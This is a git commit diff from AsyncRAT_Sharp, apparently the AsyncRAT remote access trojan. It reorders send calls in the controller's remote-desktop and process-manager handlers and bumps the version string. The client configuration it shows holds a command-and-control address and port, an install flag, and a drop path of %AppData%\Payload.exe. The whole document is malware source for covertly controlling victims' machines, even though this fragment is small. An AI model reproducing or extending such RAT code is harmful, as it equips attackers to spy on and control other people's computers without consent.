This commit is contained in:
NYAN CAT 2019-03-27 06:26:53 -07:00
parent 65460e6355
commit 573cfadd06
3 changed files with 5 additions and 4 deletions

View File

@ -279,6 +279,8 @@ namespace AsyncRAT_Sharp
await Task.Run(() => await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
this.BeginInvoke((MethodInvoker)(() => this.BeginInvoke((MethodInvoker)(() =>
{ {
RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID]; RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID];
@ -293,7 +295,6 @@ namespace AsyncRAT_Sharp
Active = true Active = true
}; };
RD.Show(); RD.Show();
CL.BeginSend(msgpack.Encode2Bytes());
} }
})); }));
}); });
@ -321,6 +322,7 @@ namespace AsyncRAT_Sharp
await Task.Run(() => await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
this.BeginInvoke((MethodInvoker)(() => this.BeginInvoke((MethodInvoker)(() =>
{ {
ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID]; ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID];
@ -334,7 +336,6 @@ namespace AsyncRAT_Sharp
C = CL C = CL
}; };
PM.Show(); PM.Show();
CL.BeginSend(msgpack.Encode2Bytes());
} }
})); }));
}); });

View File

@ -7,7 +7,7 @@ namespace AsyncRAT_Sharp
{ {
public static List<Clients> Online = new List<Clients>(); public static List<Clients> Online = new List<Clients>();
public static int Port = 6606; public static int Port = 6606;
public static readonly string Version = "AsyncRAT 0.2.7"; public static readonly string Version = "AsyncRAT 0.2.7A";
public static long Sent = 0; public static long Sent = 0;
public static long Received = 0; public static long Received = 0;
} }

View File

@ -18,7 +18,7 @@ namespace Client
{ {
public static readonly string IP = "127.0.0.1"; public static readonly string IP = "127.0.0.1";
public static readonly string Port = "6606"; public static readonly string Port = "6606";
public static readonly string Version = "AsyncRAT 0.2.7"; public static readonly string Version = "AsyncRAT 0.2.7A";
public static readonly string Install = "false"; public static readonly string Install = "false";
public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
} }